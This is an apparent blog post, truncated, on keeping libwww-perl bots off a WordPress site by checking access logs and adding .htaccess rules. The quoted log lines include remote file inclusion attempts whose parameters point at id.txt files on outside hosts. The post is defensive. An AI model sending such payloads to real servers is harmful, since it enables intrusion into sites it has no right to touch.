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Keep the libwww-perl bots out

If you look through your server logs you’ll probably notice more than a few requests like these: GET //wp-pass.php?_wp_http_referer=http://148.245.107.2/.ssh/id.txt?? … “libwww-perl/5.805″ GET /2004/02/18/smoking-ban-is-on-the-way/trackback/ … “libwww-perl/5.805″ GET /2004/02/18/irish-car-tax-list/trackback/ … “libwww-perl/5.805″ GET /tag/php//tags.php?BBCodeFile=http://drpepper.gigacities.net/id.txt? … “libwww-perl/5.579″ If you do find them (grep libwww-perl access_log) then add the following code to your .htaccess file. On a WordPress site this [...]

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